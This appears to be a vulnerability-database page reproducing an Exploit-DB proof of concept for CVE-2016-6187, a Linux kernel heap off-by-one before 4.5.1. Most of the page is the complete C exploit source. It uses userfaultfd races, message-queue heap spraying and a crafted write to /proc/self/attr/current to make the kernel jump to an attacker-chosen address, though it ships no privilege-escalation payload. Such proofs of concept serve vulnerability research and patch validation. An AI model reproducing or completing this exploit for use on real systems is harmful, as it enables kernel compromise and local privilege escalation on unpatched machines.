| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Linux Kernel < 4.5.1 - Off-By-One (PoC) Exploit | 20 Mar 201800:00 | – | zdt | |
| Exploit for CVE-2016-6187 | 12 May 202412:52 | – | githubexploit | |
| Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Linux Linux_Kernel | 23 Jul 201912:30 | – | githubexploit | |
| Linux kernel local lift vulnerability (CNVD-2016-04987) | 15 Jul 201600:00 | – | cnvd | |
| CVE-2016-6187 | 6 Aug 201620:00 | – | cve | |
| CVE-2016-6187 | 6 Aug 201620:00 | – | cvelist | |
| CVE-2016-6187 | 6 Aug 201620:00 | – | debiancve | |
| EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1525) | 14 May 201900:00 | – | nessus | |
| Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-000612) | 16 Jan 202600:00 | – | nessus | |
| Unity Linux 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-002762) | 15 Jan 202600:00 | – | nessus |
/**
EDB Note ~ Download: http://cyseclabs.com/exploits/matreshka.c
Blog ~ http://cyseclabs.com/blog/cve-2016-6187-heap-off-by-one-exploit
**/
/**
* Quick and dirty PoC for CVE-2016-6187 heap off-by-one PoC
* By Vitaly Nikolenko
* [email protected]
*
* There's no privilege escalation payload but the kernel will execute
* instructions from 0xdeadbeef.
*
* gcc matreshka.c -o matreshka -lpthread
*
* greetz to dmr and s1m0n
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/userfaultfd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <strings.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <poll.h>
#include <pthread.h>
#include <stdint.h>
void setup_pagefault(void *, unsigned, uint8_t);
const int pagesize = 4096;
struct {
long mtype;
char mtext[48];
} msg;
struct thread_struct {
int fd;
uint8_t h_sw; // handler switch
uint8_t count;
};
struct subprocess_info {
long a; long b; long c; long d; // 32 bytes for work_struct
long *complete;
char *path;
char **argv;
char **envp;
int wait;
int retval;
int (*init)(void);
int (*cleanup)(void);
void *data;
};
void *pf_handler(void *data) {
struct thread_struct *params = data;
int count = params->count;
int fd = params->fd;
for (;;) {
struct uffd_msg msg;
struct pollfd pollfd[1];
pollfd[0].fd = params->fd;
pollfd[0].events = POLLIN;
int pollres;
pollres = poll(pollfd, 1, -1);
switch (pollres) {
case -1:
perror("poll userfaultfd");
continue;
break;
case 0: continue; break;
case 1: break;
default:
exit(2);
}
if (pollfd[0].revents & POLLERR) {
exit(1);
}
if (!(pollfd[0].revents & POLLIN)) {
continue;
}
int readret;
readret = read(fd, &msg, sizeof(msg));
if (readret == -1) {
if (errno == EAGAIN)
continue;
perror("read userfaultfd");
}
if (readret != sizeof(msg)) {
fprintf(stderr, "short read, not expected, exiting\n");
exit(1);
}
long long addr = msg.arg.pagefault.address;
char buf[pagesize];
long *ptr = (long *)buf;
// just for lolz
memset(buf, 'B', pagesize);
struct uffdio_copy cp;
cp.src = (long long)buf;
cp.dst = (long long)(addr & ~(0x1000 - 1));
cp.len = (long long)pagesize;
cp.mode = 0;
void *tmp_addr;
if (count != 3) {
if (count % 2)
tmp_addr = (void *)(0x40000000 & ~(0x1000 - 1));
else
tmp_addr = (void *)((0x40000000 & ~(0x1000 - 1)) + 0x1000);
// remap and set up the page fault hander
munmap(tmp_addr, 0x1000);
void *region = mmap(tmp_addr, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
setup_pagefault(tmp_addr, 0x1000, ++count);
} else {
// change the first page which is already mmaped
struct subprocess_info *p = (struct subprocess_info *)(0x40000000 + 0x1000 - 88);
p->path = 0;
p->cleanup = (void *)0xdeadbeef;
}
if (ioctl(fd, UFFDIO_COPY, &cp) == -1) {
perror("ioctl(UFFDIO_COPY)");
}
}
return NULL;
}
void setup_pagefault(void *addr, unsigned size, uint8_t count) {
void *region;
int uffd;
pthread_t uffd_thread;
struct uffdio_api uffdio_api;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
perror("syscall");
return;
}
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
// just to be nice
if (ioctl(uffd, UFFDIO_API, &uffdio_api)) {
fprintf(stderr, "UFFDIO_API\n");
exit(1);
}
if (uffdio_api.api != UFFD_API) {
fprintf(stderr, "UFFDIO_API error %Lu\n", uffdio_api.api);
exit(1);
}
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = size;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
perror("ioctl(UFFDIO_REGISTER)");
exit(1);
}
printf("userfaultfd ioctls: 0x%llx\n", uffdio_register.ioctls);
int expected = UFFD_API_RANGE_IOCTLS;
if ((uffdio_register.ioctls & expected) != expected) {
fprintf(stderr, "ioctl set is incorrect\n");
exit(1);
}
struct thread_struct thr_params;
struct thread_struct *params = (struct thread_struct *)malloc(sizeof(struct thread_struct));
params->fd = uffd;
params->count = count;
pthread_create(&uffd_thread, NULL, pf_handler, (void *)params);
}
int main(int argc, char **argv) {
void *region, *map;
pthread_t uffd_thread;
int uffd, msqid, i;
region = (void *)mmap((void *)0x40000000, 0x2000, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);
if (!region) {
perror("mmap");
exit(2);
}
setup_pagefault(region + 0x1000, 0x1000, 1);
printf("my pid = %d\n", getpid());
if (!map) {
perror("mmap");
}
//memset(msg.mtext, 'A', sizeof(msg.mtext)-1);
unsigned long *p = (unsigned long *)msg.mtext;
for (i = 0; i < 6; i++) {
*p ++ = 0x0000000040000000 + 0x1000 - 88;
}
msg.mtype = 1;
msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
for (i = 0; i < 320; i++) { // that's generally the limit
if (msgsnd(msqid, &msg, 48, 0) == -1) {
perror("msgsnd");
return -1;
}
}
char buf[96];
p = (unsigned long *)buf;
for (i = 0; i < 11; i++) {
*p ++ = 0x40000000 + 0x1000 - 88;
}
*p ++ = 0xfffffffffffffff;
int fd = open("/proc/self/attr/current", O_RDWR);
write(fd, buf, 96);
// go figure why we do it 3 times
msgsnd(msqid, &msg, 48, 0);
msgsnd(msqid, &msg, 48, 0);
msgsnd(msqid, &msg, 48, 0);
socket(22, AF_INET, 0);
close(fd);
return 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation